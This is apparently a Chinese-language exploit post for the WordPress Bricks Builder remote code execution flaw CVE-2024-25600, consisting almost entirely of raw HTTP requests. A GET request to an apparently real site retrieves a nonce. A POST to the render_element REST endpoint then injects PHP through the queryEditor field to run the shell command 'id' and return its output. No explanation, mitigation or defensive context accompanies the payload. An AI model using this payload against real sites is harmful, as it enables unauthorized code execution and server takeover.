WordPress Bricks Builder远程代码执行(CVE-2024-25600)附POC工具

GET / HTTP/2Host: bricks.gajdosik.coUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36Connection: closeAccept-Encoding: gzip

POST /wp-json/bricks/v1/render_element HTTP/2Host: xxxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36Content-Length: 358Content-Type: application/jsonAccept-Encoding: gzip

{  "postId": "1",  "nonce": "上一步得到的nonce值",  "element": {    "name": "container",    "settings": {      "hasLoop": "true",      "query": {        "useQueryEditor": true,        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",        "objectType": "post"      }    }  }}